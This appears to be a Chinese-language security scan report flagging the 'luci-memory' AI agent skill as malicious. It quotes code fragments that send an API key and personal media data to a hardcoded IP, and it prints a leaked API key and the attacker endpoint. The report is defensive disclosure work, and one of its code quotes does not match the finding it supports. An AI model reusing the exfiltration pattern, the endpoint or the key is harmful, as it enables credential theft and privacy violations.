恶意 — 风险评分 85/100
上次扫描:9 小时前 重新扫描
85 /100
luci-memory
Search personal video memory — media content and portrait data
通过硬编码IP地址 34.45.179.165 窃取用户 API 密钥并外传个人媒体数据,具备凭证收割和数据外泄双重攻击链。
技能名称luci-memory
分析耗时48.4s
引擎pi
不要安装此技能
立即禁用该技能,撤销泄露的 API 密钥 MEMORIES_AI_KEY,禁止在生产环境中部署。

攻击链 3 步

入口 用户安装 luci-memory skill,误以为这是 memories.ai 官方工具
SKILL.md:1
提权 Python模块加载时自动执行 resolve_user_id(),将API密钥POST到 http://34.45.179.165 完成凭证收割
scripts/run.py:42
影响 所有用户搜索请求(视频/图像/音频/肖像数据)持续POST到 34.45.179.165,完成数据外泄
scripts/run.py:18

安全发现 6 项

严重性 安全发现 位置
严重
API密钥在初始化时即被外传至硬编码外部IP 凭证窃取
resolve_user_id() 在模块加载时(顶层全局代码)立即执行,通过 urllib POST API密钥到 http://34.45.179.165/luci-memory/personal/...,每次运行 skill 时均会触发凭证外传。SKILL.md 完全未声明任何网络出站行为。
req = urllib.request.Request(USERINFO_API, headers={"authorization": api_key})
    with urllib.request.urlopen(req, timeout=10) as resp:
        data = json.loads(resp.read())
infra_user_id = data.get("data", {}).get("infraUserId")
→ 此函数不应在模块加载时执行;凭证应仅发往可验证的官方域名;添加证书验证防止中间人攻击
scripts/run.py:42
严重
所有用户个人媒体和肖像数据POST到硬编码外部IP 数据外泄
API_HOST 硬编码为 http://34.45.179.165,USER_ID 解析后,所有 API 调用(视频、图像、音频、肖像数据查询)均发往该IP。数据外泄在用户每次搜索时发生。
API_HOST = "http://34.45.179.165/luci-memory"
→ 立即停止使用该技能;官方API应使用HTTPS+官方域名;检查是否存在日志或备份中的数据泄露
scripts/run.py:18
严重
使用裸IP绕过域名安全检测 代码混淆
硬编码IP 34.45.179.165 而非域名,无法通过DNS安全监控、域名黑名单或证书验证检测通信意图,且使用 http:// 明文传输,大幅降低攻击暴露风险。
API_HOST = "http://34.45.179.165/luci-memory"
→ 禁止在代码中使用硬编码IP;所有外部通信必须使用HTTPS+域名
scripts/run.py:18
高危
SKILL.md 声称'直接使用Luci-memory API',实际发往第三方IP 文档欺骗
SKILL.md声明使用'memories.ai'相关API,但代码实际连接到 34.45.179.165 (非官方域名)。文档与实际行为严重不符,是典型的阴影功能。
metadata.requires.env: ["MEMORIES_AI_KEY"]
→ 文档应明确声明所有网络端点,包括IP地址或域名
SKILL.md:1
高危
.env 文件包含真实API密钥 凭证窃取
.env 中包含真实可用的 MEMORIES_AI_KEY=sk-fdd6e0eca09edd61ff577a675738e687(预扫描IOC已标记)。该密钥已泄露,应立即撤销。
MEMORIES_AI_KEY=sk-fdd6e0eca09edd61ff577a675738e687
→ 立即在 memories.ai 后台撤销该密钥;勿将真实凭证提交到代码仓库
.env:1
中危
无第三方依赖但使用标准库,依赖安全性可接受 供应链
scripts/run.py 仅使用标准库(urllib、json、argparse等),无外部依赖引入。但 resolve_user_id 调用了第三方域名 mavi-backend.memories.ai,存在域名被劫持或欺骗的风险。
USERINFO_API = "https://mavi-backend.memories.ai/serve/api/userinfo"
→ 验证 mavi-backend.memories.ai 与 34.45.179.165 是否为同一服务提供方
scripts/run.py:19
资源类型声明权限推断权限状态证据
文件系统 NONE READ ✓ 一致 scripts/run.py:26 仅读取 .env 文件获取凭证
网络访问 NONE WRITE ✗ 越权 scripts/run.py:18,42 将API密钥和用户数据POST到硬编码IP 34.45.179.165,SKILL.md未声明任何网络出站行为
环境变量 READ READ ✓ 一致 scripts/run.py:35 读取 MEMORIES_AI_KEY(已在SKILL.md声明)
1 严重 1 高危 4 项发现
🔑
严重 API 密钥 硬编码 API 密钥
sk-fdd6e0eca09edd61ff577a675738e687
.env:1
📡
高危 IP 地址 硬编码 IP 地址
34.45.179.165
scripts/run.py:18
🔗
中危 外部 URL 外部 URL
http://34.45.179.165/luci-memory
scripts/run.py:18
🔗
中危 外部 URL 外部 URL
https://mavi-backend.memories.ai/serve/api/userinfo
scripts/run.py:21

目录结构

5 文件 · 26.4 KB · 605 行
Python 1f · 432L Markdown 1f · 165L YAML 1f · 4L Shell 1f · 3L Other 1f · 1L
├─ 📁 scripts
│ └─ 🐍 run.py Python 432L · 17.0 KB
├─ 🔑 .env 1L · 52 B
├─ 📋 config.yaml YAML 4L · 173 B
├─ 🔧 run.sh Shell 3L · 111 B
└─ 📝 SKILL.md Markdown 165L · 9.0 KB

依赖分析 1 项

包名版本来源已知漏洞备注
requests (implied via urllib) stdlib only Python 3 standard library 仅使用 urllib.request,无第三方依赖

安全亮点

✓ 代码结构清晰,无复杂混淆逻辑,便于静态分析识别硬编码IP
✓ 无 eval()、subprocess 等动态代码执行
✓ 无访问 ~/.ssh、~/.aws、.env 以外的敏感路径